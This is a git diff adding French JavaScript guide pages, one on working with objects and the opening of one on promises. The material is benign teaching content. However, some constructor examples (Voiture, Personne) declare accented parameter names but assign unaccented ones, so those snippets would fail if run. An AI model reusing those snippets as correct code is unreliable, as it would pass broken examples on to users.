+<h2 id="Un_aperçu_des_objets">Un aperçu des objets</h2>
+
+<p>À l'instar de nombreux autres langages de programmation, on peut comparer les objets JavaScript aux objets du monde réel.</p>
+
+<p>En JavaScript, un objet est une entité à part entière qui possède des propriétés. Si on effectue cette comparaison avec une tasse par exemple, on pourra dire qu'une tasse est un objet avec des propriétés. Ces propriétés pourront être la couleur, la forme, le poids, le matériau qui la constitue, etc. De la même façon, un objet JavaScript possède des propriétés, chacune définissant une caractéristique.</p>
+
+<h2 id="Les_objets_et_les_propriétés">Les objets et les propriétés</h2>
+
+<p>Un objet JavaScript possède donc plusieurs propriétés qui lui sont associées. Une propriété peut être vue comme une variable attachée à l'objet. Les propriétés d'un objet sont des variables tout ce qu'il y a de plus classiques, exception faite qu'elle sont attachées à des objets. Les propriétés d'un objet représentent ses caractéristiques et on peut y accéder avec une notation utilisant le point « . », de la façon suivante :</p>
+
+<pre class="brush: js notranslate">nomObjet.nomPropriete
+</pre>
+
+<p>Comme pour les variables JavaScript en général, le nom de l'objet et le nom des propriétés sont sensibles à la casse (une lettre minuscule ne sera pas équivalente à une lettre majuscule). On peut définir une propriété en lui affectant une valeur. Ainsi, si on crée un objet <code>maVoiture</code> et qu'on lui donne les propriétés <code>fabricant</code>, <code>modèle</code>, et <code>année</code> :</p>
+
+<pre class="brush: js notranslate">var maVoiture = new Object();
+maVoiture.fabricant = "Ford";
+maVoiture.modèle = "Mustang";
+maVoiture.année = 1969;
+</pre>
+
+<p>Les propriétés d'un objet qui n'ont pas été affectées auront la valeur {{jsxref("undefined")}} (et non {{jsxref("null")}}).</p>
+
+<pre class="brush: js notranslate">maVoiture.sansPropriete; // undefined</pre>
+
+<p>On peut aussi définir ou accéder à des propriétés JavaScript en utilisant une notation avec les crochets (voir la page sur <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_membres">les accesseurs de propriétés</a> pour plus de détails). Les objets sont parfois appelés « tableaux associatifs ». Cela peut se comprendre car chaque propriété est associée avec une chaîne de caractères qui permet d'y accéder. Ainsi, par exemple, on peut accéder aux propriétés de l'objet <code>maVoiture</code> de la façon suivante :</p>
+
+<pre class="brush: js notranslate">maVoiture["fabricant"] = "Ford";
+maVoiture["modèle"] = "Mustang";
+maVoiture["année"] = 1969;
+</pre>
+
+<p>Le nom d'une propriété d'un objet peut être n'importe quelle chaîne JavaScript valide (ou n'importe quelle valeur qui puisse être convertie en une chaîne de caractères), y compris la chaîne vide. Cependant, n'importe quel nom de propriété qui n'est pas un identifiant valide (par exemple si le nom d'une propriété contient un tiret, un espace ou débute par un chiffre) devra être utilisé avec la notation à crochets. Cette notation s'avère également utile quand les noms des propriétés sont déterminés de façon dynamique (c'est-à-dire qu'on ne sait pas le nom de la propriété avant l'exécution). Par exemple :</p>
+
+<pre class="brush: js notranslate">// on crée quatre variables avec une même instruction
+var monObj = new Object(),
+    str = "myString",
+    rand = Math.random(),
+    obj = new Object();
+
+monObj.type              = "Syntaxe point";
+monObj["date created"]   = "Chaîne avec un espace";
+monObj[str]              = "Une valeur qui est une chaîne";
+monObj[rand]             = "Nombre aléatoire";
+monObj[obj]              = "Objet";
+monObj[""]               = "Une chaîne vide";
+
+console.log(monObj);
+</pre>
+
+<p>On notera que les valeurs utilisées entre les crochets sont automatiquement converties en chaînes de caractères grâce à la méthode <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/toString">toString()</a></code> sauf si ces valeurs sont des symboles (cf. {{jsxref("Symbol")}}). En effet, les noms des propriétés pour les objets JavaScript peuvent être des chaînes de caractères ou des symboles. Ainsi, dans l'exemple précédent, lorsqu'on ajoute la clé <code>obj</code> sur <code>monObj</code>, le moteur JavaScript appelle la méthode <code>obj.toString()</code> et utilise la chaîne de caractères renvoyée par cette méthode comme nom pour la propriété.</p>
+
+<p>On peut également accéder aux propriétés d'un objet en utilisant une valeur qui est une chaîne de caractères enregistrée dans une variable :</p>
+
+<pre class="brush: js notranslate">var nomPropriété = "fabricant";
+maVoiture[nomPropriété] = "Ford";
+
+nomPropriété = "modèle";
+maVoiture[nomPropriété] = "Mustang";
+</pre>
+
+<p>La notation avec les crochets peut être utilisée dans une boucle <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...in">for...in</a></code> afin de parcourir les propriétés énumérables d'un objet. Pour illustrer comment cela fonctionne, on définit la fonction suivante qui affiche les propriétés d'un objet qu'on lui a passé en argument avec le nom associé :</p>
+
+<pre class="brush: js notranslate">function afficherProps(obj, nomObjet) {
+  var resultat = "";
+  for (var i in obj) {
+    if (obj.hasOwnProperty(i)) {
+        resultat += nomObjet + "." + i + " = " + obj[i] + "\n";
+    }
+  }
+  return resultat;
+}
+</pre>
+
+<p>Si on appelle la fonction avec <code>afficherProps(maVoiture, "maVoiture")</code>, cela affichera le contenu suivant dans la console :</p>
+
+<pre class="brush: js notranslate">maVoiture.fabricant = Ford
+maVoiture.modèle = Mustang
+maVoiture.année = 1969</pre>
+
+<h2 id="Parcourir_les_propriétés_dun_objet">Parcourir les propriétés d'un objet</h2>
+
+<p>À partir d'<a href="/fr/docs/Web/JavaScript/Nouveautés_et_historique_de_JavaScript/Support_ECMAScript_5_par_Mozilla">ECMAScript 5</a>, il existe trois méthodes natives pour lister/parcourir les propriétés d'un objet :</p>
+
+<ul>
+ <li>Les boucles <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...in">for...in</a></code> qui permettent de parcourir l'ensemble des propriétés énumérables d'un objet et de sa chaîne de prototypes.</li>
+ <li>{{jsxref("Object.keys", "Object.keys(o)")}} qui permet de renvoyer un tableau contenant les noms (clés ou <em>keys</em>) des propriétés propres (celles qui ne sont pas héritées via la chaîne de prototypes) d'un objet <code>o</code> pour les propriétés énumérables.</li>
+ <li>{{jsxref("Object.getOwnPropertyNames", "Object.getOwnPropertyNames(o)")}} qui permet de renvoyer un tableau contenant les noms des propriétés propres (énumérables ou non) d'un objet <code>o</code>.</li>
+</ul>
+
+<p>Avant ECMAScript 5, il n'existait aucune méthode native pour lister l'ensemble des propriétés d'un objet. Cependant, on pouvait utiliser le code suivant pour y parvenir :</p>
+
+<pre class="brush: js notranslate">function listerToutesLesPropriétés(o){
+  var objectToInspect;
+  var result = [];
+
+  for(objectToInspect = o;
+      objectToInspect !== null;
+      objectToInspect = Object.getPrototypeOf(objectToInspect)){
+    result = result.concat(Object.getOwnPropertyNames(objectToInspect));
+  }
+  return result;
+}
+</pre>
+
+<p>Cela peut être utile pour révéler les propriétés « cachées » car leur nom est réutilisé dans la chaîne de prototypes. Pour lister les propriétés accessibles, il suffit de retirer les duplicatas du tableau.</p>
+
+<h2 id="Créer_de_nouveaux_objets">Créer de nouveaux objets</h2>
+
+<p>Un environnement JavaScript possède certains objets natifs prédéfinis. En plus de ces objets, il est possible de créer ses propres objets. Pour cela, on peut utiliser un <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Initialisateur_objet">initialisateur d'objet</a>. On peut aussi créer un constructeur puis instancier un objet avec cette fonction en utilisant l'opérateur <code>new</code>.</p>
+
+<h3 id="Utiliser_les_initialisateurs_dobjets">Utiliser les initialisateurs d'objets</h3>
+
+<p>On peut créer des objets avec une fonction qui est un constructeur mais on peut aussi créer des objets avec des <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Initialisateur_objet">initialisateurs d'objets</a>. On appelle parfois cette syntaxe la notation <em>littérale</em>.</p>
+
+<p>La syntaxe utilisée avec les initialisateurs d'objets est la suivante :</p>
+
+<pre class="brush: js notranslate">var obj = { propriete_1:   valeur_1,   // propriete_# peut être un identifiant
+            2:             valeur_2,   // ou un nombre
+            // ...,
+            "propriete n": valeur_n }; // ou une chaîne
+</pre>
+
+<p>où on a <code>obj</code> le nom de l'objet qu'on souhaite créer et chaque <code>propriété_<em>i</em></code> un identifiant (que ce soit un nom, un nombre ou une chaîne de caractères) et chaque <code>valeur_<em>i</em></code> une expression dont la valeur sera affectée à la propriété <code>propriété_<em>i</em></code>. S'il n'est pas nécessaire d'utiliser l'objet <code>obj</code> par la suite, il n'est pas nécessaire de réaliser l'affectation à une variable (attention alors à l'encadrer dans des parenthèses pour que le littéral objet soit bien interprété comme une instruction et non pas comme un bloc.)</p>
+
+<p>Les initialisateurs d'objets sont des expressions et chaque initialisateur entraîne la création d'un nouvel objet dans l'instruction pour laquelle il est exécuté. Des initialisateurs d'objets identiques créeront des objets distincts qui ne seront pas équivalents. Les objets sont créés de la même façon qu'avec <code>new Object()</code>, les objets créés à partir d'une expression littérale seront des instances d'<code>Object</code>.</p>
+
+<p>L'instruction suivante crée un objet et l'affecte à une variable <code>x</code> si et seulement si l'expression <code>cond</code> est vraie :</p>
+
+<pre class="brush: js notranslate">if (cond) var x = {emplacement: "le monde"};
+</pre>
+
+<p>Dans l'exemple suivant, on crée un objet <code>maHonda</code> avec trois propriétés. La propriété <code>moteur</code> est également un objet avec ses propres propriétés.</p>
+
+<pre class="brush: js notranslate">var maHonda = {couleur: "rouge", roue: 4, moteur: {cylindres: 4, taille: 2.2}};
+</pre>
+
+<p>De la même façon, on pourra utiliser des initialisateurs pour créer des tableaux. Pour plus d'informations à ce sujet, voir <a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Les_litt.C3.A9raux_de_tableaux">les littéraux de tableaux</a>.</p>
+
+<h3 id="Utiliser_les_constructeurs">Utiliser les constructeurs</h3>
+
+<p>On peut créer des objets d'une autre façon, en suivant deux étapes :</p>
+
+<ol>
+ <li>On définit une fonction qui sera un constructeur définissant le type de l'objet. La convention, pour nommer les constructeurs, est d'utiliser une majuscule comme première lettre pour l'identifiant de la fonction.</li>
+ <li>On crée une instance de l'objet avec <code>new</code>.</li>
+</ol>
+
+<p>Pour définir le type d'un objet, on crée une fonction qui définit le nom de ce type et les propriétés et méthodes des instances. Ainsi, si on souhaite créer un type d'objet pour représenter des voitures, on pourra nommer ce type <code>voiture</code>, et il pourra avoir des propriétés pour le fabricant, le modèle et l'année. Pour ce faire, on pourra écrire la fonction suivante :</p>
+
+<pre class="brush: js notranslate">function Voiture(fabricant, modèle, année) {
+  this.fabricant = fabricant;
+  this.modele = modele;
+  this.annee = annee;
+}
+</pre>
+
+<p>On voit ici qu'on utilise le mot-clé <code>this</code> pour affecter des valeurs aux propriétés d'un objet en fonction des valeurs passées en arguments de la fonction.</p>
+
+<p>On peut désormais créer un objet <code>maVoiture</code> de la façon suivante :</p>
+
+<pre class="brush: js notranslate">var maVoiture = new Voiture("Eagle", "Talon TSi", 1993);
+</pre>
+
+<p>Cette instruction crée un objet <code>maVoiture</code> et lui affecte les valeurs fournies pour ses propriétés. On obtient donc <code>maVoiture.fabricant</code> qui sera la chaîne de caractères "Eagle", <code>maVoiture.année</code> qui sera l'entier 1993, et ainsi de suite.</p>
+
+<p>Grâce à ce constructeur, on peut ensuite créer autant d'objets <code>voiture</code> que nécessaire. Par exemple :</p>
+
+<pre class="brush: js notranslate">var voitureMorgan = new Voiture("Audi", "A3", 2005);
+var voitureMax = new Voiture("Mazda", "Miata", 1990);
+</pre>
+
+<p>Un objet peut avoir une propriété qui est elle-même un objet. Ainsi, si on définit un type d'objet <code>personne</code> de cette façon :</p>
+
+<pre class="brush: js notranslate">function Personne(nom, âge, sexe) {
+  this.nom = nom;
+  this.age = age;
+  this.sexe = sexe;
+}
+</pre>
+
+<p>et qu'on instancie deux nouveaux objets <code>personne</code> avec</p>
+
+<pre class="brush: js notranslate">var max = new Personne("Max Gun", 33, "M");
+var morguy = new Personne("Morgan Sousbrouille", 39, "M");
+</pre>
+
+<p>On pourra réécrire la fonction de définition pour le type <code>voiture</code> pour inclure une propriété <code>propriétaire</code> qui est représentée par un objet <code>personne</code> :</p>
+
+<pre class="brush: js notranslate">function Voiture(fabricant, modèle, année, propriétaire) {
+  this.fabricant = fabricant;
+  this.modele = modele;
+  this.annee = annee;
+  this.propriétaire = propriétaire;
+}
+</pre>
+
+<p>Pour instancier des nouveaux objets, on pourra donc utiliser :</p>
+
+<pre class="brush: js notranslate">var voiture1 = new Voiture("Mazda", "Miata", 1993, max);
+var voiture2 = new Voiture("Audi", "A3", 2005, morguy);
+</pre>
+
+<p>On notera que le dernier argument n'est pas une chaîne de caractères ou une valeur numérique mais bien un objet. Les objets <code>max</code> et <code>morguy</code> sont passés en arguments pour représenter les propriétaires. Ainsi, si on veut obtenir le nom du propriétaire pour <code>voiture2</code>, on peut accéder à la propriété de la façon suivante :</p>
+
+<pre class="brush: js notranslate">voiture2.propriétaire.nom
+</pre>
+
+<p>Il est toujours possible d'ajouter une propriété à un objet défini précédemment. Par exemple, on peut ajouter une propriété à l'objet <code>voiture1</code> avec l'instruction :</p>
+
+<pre class="brush: js notranslate">voiture1.couleur = "noir";
+</pre>
+
+<p>Ici, on ajoute une propriété <code>couleur</code> à <code>voiture1</code>, et on lui affecte une valeur "noir". Cependant, cela n'affecte pas les autres objets <code>voiture</code>. Pour ajouter une nouvelle propriété à tous les objets, il faudra ajouter la propriété au constructeur <code>voiture</code>.</p>
+
+<h3 id="Utiliser_la_méthode_Object.create">Utiliser la méthode <code>Object.create()</code></h3>
+
+<p>Les objets peuvent également être créés en utilisant la méthode {{jsxref("Object.create()")}}. Cette méthode peut s'avérer très utile car elle permet de choisir le prototype pour l'objet qu'on souhaite créer, sans avoir à définir un constructeur.</p>
+
+<pre class="brush: js notranslate">// Propriétés pour animal et encapsulation des méthodes
+var Animal = {
+  type: "Invertébrés",        // Valeur par défaut  value of properties
+  afficherType : function() {  // Une méthode pour afficher le type Animal
+    console.log(this.type);
+  }
+}
+
+// On crée un nouveau type d'animal, animal1
+var animal1 = Object.create(Animal);
+animal1.afficherType(); // affichera Invertébrés
+
+// On crée un type d'animal "Poisson"
+var poisson = Object.create(Animal);
+poisson.type = "Poisson";
+poisson.afficherType(); // affichera Poisson</pre>
+
+<h2 id="Lhéritage">L'héritage</h2>
+
+<p>Tous les objets JavaScript héritent d'un autre objet. L'objet dont on hérite est appelé <em>prototype</em> et les propriétés héritées peuvent être accédées via l'objet <code>prototype</code> du constructeur. Pour plus d'informations sur le fonctionnement de l'héritage, voir la page sur <a href="/fr/docs/Web/JavaScript/Héritage_et_chaîne_de_prototypes">l'héritage et la chaîne de prototypes</a>.</p>
+
+<h2 id="Indexer_les_propriétés_dun_objet">Indexer les propriétés d'un objet</h2>
+
+<p>Il est possible d'accéder à une propriété via son nom et via son indice (ordinal). Si on définit une propriété grâce à un nom, on accédera toujours à la valeur via le nom. De même, si on définit une propriété grâce à un indice, on y accèdera toujours via son indice.</p>
+
+<p>Cette restriction s'applique lorsqu'on crée un objet et ses propriétés via un constructeur et lorsqu'on déclare les propriétés explicitement (par exemple avec <code>maVoiture.couleur = "rouge"</code>). Si on définit une propriété d'un objet avec <code>maVoiture[5] = "25 kmh"</code>, on pourra faire référence à cette propriété grâce à <code>maVoiture[5]</code>.</p>
+
+<p>Il existe une exception à cette règle lorsqu'on manipule des objets "semblables à des tableaux" provenant d'API Web telles que l'objet <code>forms</code>. Pour ces objets semblables à des tableaux, on peut accéder à une propriété de l'objet grâce à son nom (si l'attribut {{htmlattrxref("name")}} est utilisé sur l'élément HTML) ou grâce à son index selon l'ordre dans le document. Ainsi, si on souhaite cibler un élément <code>&lt;form&gt;</code> du document possédant un attribut <code>name</code> qui vaut <code>monForm</code> et que cet élément est le deuxième élément du document, on pourra y accéder avec <code>document.forms[1]</code>, <code>document.forms["monForm"]</code> ou encore avec <code>document.forms.monForm</code>.</p>
+
+<h2 id="Définir_des_propriétés_pour_un_type_dobjet">Définir des propriétés pour un type d'objet</h2>
+
+<p>On peut ajouter une propriété à un type précédemment défini en utilisant la propriété <code>prototype</code>. Cela permettra de définir une propriété qui sera partagée par tous les objets d'un même type plutôt qu'elle ne soit définie que pour un seul objet. Le code suivant permet d'ajouter une propriété <code>couleur</code> à tous les objets de type <code>voiture</code>. On affecte ensuite une valeur à cette propriété pour l'objet <code>voiture1</code>.</p>
+
+<pre class="brush: js notranslate">Voiture.prototype.couleur = null;
+voiture1.couleur = "noir";
+</pre>
+
+<p>Pour plus d'informations, voir l'article sur <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Function/prototype">la propriété <code>prototype</code></a> de l'objet <code>Function</code> de la <a href="/fr/docs/Web/JavaScript/Reference">référence JavaScript</a>.</p>
+
+<h2 id="Définir_des_méthodes">Définir des méthodes</h2>
+
+<p>Une <em>méthode</em> est une fonction associée à un objet. Autrement dit, une méthode est une propriété d'un objet qui est une fonction. Les méthodes sont définies comme des fonctions normales et sont affectées à des propriétés d'un objet. Voir la page sur <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Définition_de_méthode">les définitions de méthodes</a> pour plus d'informations. Par exemple :</p>
+
+<pre class="brush: js notranslate">nomObjet.nomMéthode = nomFonction;
+
+var monObj = {
+  maMéthode: function(params) {
+    // ...faire quelque chose
+  }
+};
+</pre>
+
+<p>avec <code>nomObjet</code> qui est un objet existant, <code>nomMéthode</code> est le nom de la propriété à laquelle on souhaite affecter la méthode et <code>nomFonction</code> le nom de la fonction.</p>
+
+<p>On peut ensuite appeler la méthode sur l'objet :</p>
+
+<pre class="brush: js notranslate">object.nomMéthode(paramètres);
+</pre>
+
+<p>On peut définir des méthodes pour un type d'objet en incluant la définition de la méthode dans le constructeur. Par exemple, on peut définir une fonction qui mettrait en forme et qui afficherait les propriétés d'un objet <code>voiture</code>. Par exemple :</p>
+
+<pre class="brush: js notranslate">function afficheVoiture() {
+  var résultat = "Une " + this.fabricant + " " + this.modèle
+    + " de cette année " + this.année;
+  console.log(résultat);
+}
+</pre>
+
+<p>On peut ensuite ajouter cette fonction comme méthode dans le constructeur avec cette instruction :</p>
+
+<pre class="brush: js notranslate">this.afficheVoiture = afficheVoiture;
+</pre>
+
+<p>La définition complète serait donc :</p>
+
+<pre class="brush: js notranslate">function Voiture(fabricant, modèle, année, propriétaire) {
+  this.fabricant = fabricant;
+  this.modèle = modèle;
+  this.année = année;
+  this.propriétaire = propriétaire;
+  this.afficheVoiture = afficheVoiture;
+}
+</pre>
+
+<p>On pourra donc ensuite appeler la méthode <code>afficheVoiture</code> pour chaque objet de ce type :</p>
+
+<pre class="brush: js notranslate">voiture1.afficheVoiture();
+voiture2.afficheVoiture();
+</pre>
+
+<h2 id="Utiliser_this">Utiliser <code>this</code></h2>
+
+<p>JavaScript possède un mot-clé spécial <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this">this</a></code>, qui peut être utiliser à l'intérieur d'une méthode pour faire référence à l'objet courant. Par exemple, si on a une fonction <code>valider</code> qui permet de valider la propriété <code>valeur</code> d'un objet en fonction d'un seuil minimum et d'un seuil maximum :</p>
+
+<pre class="brush: js notranslate">function valider(obj, seuilMin, seuilMax) {
+  if ((obj.value &lt; seuilMin) || (obj.value &gt; seuilMax))
+    console.log("Valeur invalide !");
+}
+</pre>
+
+<p>Cette fonction pourrait ensuite être appelée via le gestionnaire d'événement <code>onchange</code> pour les éléments d'un formulaire et la valeur pour l'élément du formulaire serait passée en argument :</p>
+
+<pre class="brush: html notranslate">&lt;input type="text" name="âge" size="3"
+  onchange="valider(this, 18, 99)"&gt;</pre>
+
+<p>En général, <code>this</code> fait référence à l'objet appelant de la méthode.</p>
+
+<h2 id="Définir_des_accesseurs_et_des_mutateurs_getters_et_setters">Définir des accesseurs et des mutateurs (<em>getters</em> et <em>setters</em>)</h2>
+
+<p>Un <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/get">accesseur</a> (<em>getter</em>) est une méthode qui permet de récupérer la valeur d'une propriété donnée. Un <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/set">mutateur</a> (<em>setter</em>) est une méthode qui permet de définir la valeur d'une propriété donnée. Il est possible de définir des accesseurs et des mutateurs sur chaque objet (qu'il soit natif ou défini par l'utilisateur) qui supporte l'ajout de nouvelles propriétés. La syntaxe pour définir les accesseurs et mutateurs utilise les littéraux objets.</p>
+
+<p>Dans l'exemple suivant, on ajoute des accesseurs et mutateurs à un objet existant <code>o</code>.</p>
+
+<pre class="brush: js notranslate">var o = {
+  a: 7,
+  get b() {
+    return this.a + 1;
+  },
+  set c(x) {
+    this.a = x / 2
+  }
+};
+
+console.log(o.a); // 7
+console.log(o.b); // 8
+o.c = 50;
+console.log(o.a); // 25
+</pre>
+
+<p>Les propriétés de l'objet <code>o</code> sont :</p>
+
+<ul>
+ <li><code>o.a</code> — un nombre</li>
+ <li><code>o.b</code> — un accesseur qui renvoie la valeur de <code>o.a</code> plus 1</li>
+ <li><code>o.c</code> — un mutateur qui définit la valeur de <code>o.a</code> avec la moitié de la valeur passée pour <code>o.c</code></li>
+</ul>
+
+<p>Pour utiliser une fonction déjà existante et la définir comme accesseur ou mutateur d'un objet, on pourra utiliser la méthode <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/defineProperty">Object.defineProperty()</a></code> (ou l'ancienne méthode <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/defineGetter">Object.prototype.__defineGetter__</a></code>).</p>
+
+<p>Le code suivant illustre comment étendre le prototype {{jsxref("Date")}} avec des accesseurs et mutateurs afin d'ajouter une propriété <code>année</code> pour toutes les instances du type <code>Date</code>. Pour cela, on utilise les méthodes de <code>Date</code> <code>getFullYear</code> et <code>setFullYear</code> :</p>
+
+<pre class="brush: js notranslate">var d = Date.prototype;
+Object.defineProperty(d, "année", {
+  get: function() { return this.getFullYear() },
+  set: function(y) { this.setFullYear(y) }
+});
+</pre>
+
+<p>Ces instructions utilisent l'accesseur et le mutateur pour un objet <code>Date</code> :</p>
+
+<pre class="brush: js notranslate">var ajd = new Date();
+console.log(ajd.année); // 2000
+ajd.année = 2001; // 987617605170
+console.log(ajd);
+// Wed Apr 18 11:13:25 GMT-0700 (Pacific Daylight Time) 2001
+</pre>
+
+<p>En général, les accesseurs et mutateurs peuvent être :</p>
+
+<ul>
+ <li>définis en utilisant les initialisateurs d'objet</li>
+ <li>ajoutés par la suite avec une méthode pour ajouter un mutateur ou un accesseur.</li>
+</ul>
+
+<p>Lorsqu'on définit des accesseurs et des mutateurs avec des littéraux objets, il suffit de préfixer un accesseur par <code>get</code> et un mutateur par <code>set</code>. Bien entendu, la méthode pour l'accesseur nécessite aucun paramètre et le mutateur attend exactement un paramètre (la nouvelle valeur à définir). Par exemple :</p>
+
+<pre class="brush: js notranslate">var o = {
+  a: 7,
+  get b() { return this.a + 1; },
+  set c(x) { this.a = x / 2; }
+};
+</pre>
+
+<p>On peut aussi ajouter des accesseurs et des mutateurs par la suite (après la création de l'objet) avec la méthode <code>Object.defineProperties</code>. Le premier argument de cette méthode est l'objet sur lequel on souhaite ajouter des propriétés. Le second argument est un objet qui représente les propriétés à ajouter (ici les mutateurs et accesseurs). Voici un exemple pour lequel on définit les mêmes accesseurs et mutateurs que précédemment :</p>
+
+<pre class="brush: js notranslate">var o = { a:0 }
+
+Object.defineProperties(o, {
+    "b": { get: function () { return this.a + 1; } },
+    "c": { set: function (x) { this.a = x / 2; } }
+});
+
+o.c = 10 // Lance le mutateur qui affecte 10 / 2 (5) à 'a'
+console.log(o.b) // Lance l'accesseur qui affiche a + 1 donc 6
+</pre>
+
+<p>Selon le résultat qu'on souhaite obtenir, on utilisera l'une des deux formes. Si on connait bien la structure de l'objet lorsqu'on le définit, on les ajoutera au constructeur. Si on utilise des éléments dynamiques et que la structure de l'objet évolue, on utilisera la deuxième façon.</p>
+
+<h2 id="Supprimer_des_propriétés">Supprimer des propriétés</h2>
+
+<p>Il est possible de retirer des propriétés propres (celles qui ne sont pas héritées) grâce à l'opérateur <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_delete">delete</a></code>. Le code suivant montre comment retirer une propriété :</p>
+
+<pre class="brush: js notranslate">// On crée un nouvel objet, monObj, avec deux propriétés a et b.
+var monObj = new Object;
+monObj.a = 5;
+monObj.b = 12;
+
+// On retire la propriété a, monObj a donc uniquement la propriété b
+delete monObj.a;
+console.log("a" in monObj) // produit "false"
+</pre>
+
+<p>Il est aussi possible de supprimer une propriété de l'objet global avec <code>delete</code> si le mot-clé <code>var</code> n'avait pas été utilisé :</p>
+
+<pre class="brush: js notranslate">g = 17;
+delete g;
+</pre>
+
+<h2 id="Comparer_des_objets">Comparer des objets</h2>
+
+<p>En JavaScript, les objets fonctionnent par référence. Deux objets distincts ne sont jamais égaux, même s'ils ont les mêmes valeurs pour les mêmes propriétés. On aura une équivalence uniquement si on compare un objet avec lui-même.</p>
+
+<pre class="brush: js notranslate">// Deux variables avec deux objets distincts qui ont les mêmes propriétés
+var fruit = {nom: "pomme"};
+var fruit2 = {nom: "pomme"};
+
+fruit == fruit2  // return false
+fruit === fruit2 // return false</pre>
+
+<pre class="brush: js notranslate">// Deux variables avec un même objet
+var fruit = {nom: "pomme"};
+var fruit2 = fruit;  // On affecte la même référence
+
+// dans ce cas fruit et fruit2 pointent vers le même objet
+fruit == fruit2  // return true
+fruit === fruit2 // return true
+
+fruit.nom = "raisin";
+console.log(fruit2); // affiche {nom: "raisin"} et non {nom: "pomme"}
+</pre>
+
+<p>Pour plus d'informations sur les opérateurs de comparaisons, voir <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison">cet article</a>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Pour aller plus loin, voir <a href="/fr/docs/Web/JavaScript/Guide/Le_modèle_objet_JavaScript_en_détails">les détails du modèle objet javaScript</a></li>
+ <li>Pour en savoir plus sur les classes ECMAScript 2015 (une nouvelle façon de créer des objets), lire le chapitre sur les <a href="/fr/docs/Web/JavaScript/Reference/Classes">classes JavaScript</a>.</li>
+</ul>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Collections_avec_clés", "Web/JavaScript/Guide/Le_modèle_objet_JavaScript_en_détails")}}</p>
diff --git a/files/fr/web/javascript/guide/utiliser_les_promesses/index.html b/files/fr/web/javascript/guide/utiliser_les_promesses/index.html
new file mode 100644
index 0000000000..2198201957
--- /dev/null
+++ b/files/fr/web/javascript/guide/utiliser_les_promesses/index.html
@@ -0,0 +1,314 @@
+---
+title: Utiliser les promesses
+slug: Web/JavaScript/Guide/Utiliser_les_promesses
+tags:
+  - Guide
+  - Intermédiaire
+  - JavaScript
+  - Promesses
+  - Promise
+translation_of: Web/JavaScript/Guide/Using_promises
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Le_modèle_objet_JavaScript_en_détails", "Web/JavaScript/Guide/iterateurs_et_generateurs")}}</div>
+
+<p class="summary">Une promesse est un objet ({{jsxref("Promise")}}) qui représente la complétion ou l'échec d'une opération asynchrone. La plupart du temps, on « consomme » des promesses et c'est donc ce que nous verrons dans la première partie de ce guide pour ensuite expliquer comment les créer.</p>
+
+<p>En résumé, une promesse est un objet qui est renvoyé et auquel on attache des <em>callbacks</em> plutôt que de passer des <em>callbacks</em> à une fonction. Ainsi, au lieu d'avoir une fonction qui prend deux <em>callbacks</em> en arguments :</p>
+
+<pre class="brush: js">function faireQqcALAncienne(successCallback, failureCallback){
+  console.log("C'est fait");
+  // réussir une fois sur deux
+  if (Math.random() &gt; .5) {
+    successCallback("Réussite");
+  } else {
+    failureCallback("Échec");
+  }
+}
+
+function successCallback(résultat) {
+  console.log("L'opération a réussi avec le message : " + résultat);
+}
+
+
+function failureCallback(erreur) {
+  console.error("L'opération a échoué avec le message : " + erreur);
+}
+
+faireQqcALAncienne(successCallback, failureCallback);
+
+</pre>
+
+<p>On aura une fonction qui renvoie une promesse et on attachera les callbacks sur cette promesse :</p>
+
+<pre class="brush: js">function faireQqc() {
+  return new Promise((successCallback, failureCallback) =&gt; {
+    console.log("C'est fait");
+    // réussir une fois sur deux
+    if (Math.random() &gt; .5) {
+      successCallback("Réussite");
+    } else {
+      failureCallback("Échec");
+    }
+  })
+}
+
+const promise = faireQqc();
+promise.then(successCallback, failureCallback);
+</pre>
+
+<p>ou encore :</p>
+
+<pre class="brush: js">faireQqc().then(successCallback, failureCallback);
+</pre>
+
+<p>Cette dernière forme est ce qu'on appelle <em>un appel de fonction asynchrone</em>. Cette convention possède différents avantages dont le premier est <em>le chaînage</em>.</p>
+
+<h2 id="Garanties">Garanties</h2>
+
+<p>À la différence des imbrications de <em>callbacks</em>, une promesse apporte certaines garanties :</p>
+
+<ul>
+ <li>Les <em>callbacks</em> ne seront jamais appelés avant la fin du parcours de la boucle d'évènements JavaScript courante</li>
+ <li>Les <em>callbacks</em> ajoutés grâce à <code>then</code> seront appelés, y compris après le succès ou l'échec de l'opération asynchrone</li>
+ <li>Plusieurs <em>callbacks</em> peuvent être ajoutés en appelant <code>then</code> plusieurs fois, ils seront alors exécutés l'un après l'autre selon l'ordre dans lequel ils ont été insérés.</li>
+</ul>
+
+<h2 id="Chaînage_des_promesses">Chaînage des promesses</h2>
+
+<p>Un besoin fréquent est d'exécuter deux ou plus d'opérations asynchrones les unes à la suite des autres, avec chaque opération qui démarre lorsque la précédente a réussi et en utilisant le résultat de l'étape précédente. Ceci peut être réalisé en créant une chaîne de promesses.</p>
+
+<p>La méthode <code>then()</code> renvoie une <em>nouvelle</em> promesse, différente de la première :</p>
+
+<pre class="brush: js">const promise = faireQqc();
+const promise2 = promise.then(successCallback, failureCallback);
+</pre>
+
+<p>ou encore :</p>
+
+<pre class="brush: js">const promise2 = faireQqc().then(successCallback, failureCallback);
+</pre>
+
